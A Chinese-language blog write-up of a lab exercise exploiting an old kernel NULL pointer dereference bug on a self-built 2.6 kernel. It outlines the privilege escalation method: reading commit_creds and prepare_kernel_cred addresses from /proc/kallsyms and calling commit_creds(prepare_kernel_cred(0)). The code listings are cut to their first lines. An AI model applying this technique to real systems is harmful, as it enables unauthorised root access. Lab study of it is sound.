这篇文章主要介绍的是NULL defence,这个古老的kernel漏洞
测试了半天,在4.15的kernel弄了半天,结果发现并不支持RIP为0,只好转而去弄2.6的kernel
这个kernel不能直接下载,只能编译,然后在我的ubuntu 16.04那里编译了半天,发现并不行,可能gcc版本太高了
于是上服务器上pull了ubuntu 14.04的Docker,在上面编译,发现一点事情都没有……..
这里给一下我编译好的kernel和driver吧
初始化脚本如下
1 | #!/bin/sh |
测试用的poc如下
1 | #include <sys/types.h> |
gdb连接上去之后
b* 0,运行poc
然后正式开始写payload
首先得到commit_creds和prepare_kernel_cred的地址,用
1 | grep prepare_kernel_cred /proc/kallsyms |
得到之后,编写调用
1 | commit_creds(prepare_kernel_cred(0)) |
的汇编
这里参考了下别人的,但是发现总报错,然后在报错那里看到 RIP??????
RIP????? 不是64位的么?????? uname -a一波…….. emmmm,我编译了个64位的kernel
嘛…….还是能继续写的,函数传参方式不同而已
1 | xor rdi,rdi |
最终的poc是
1 | #include <sys/types.h> |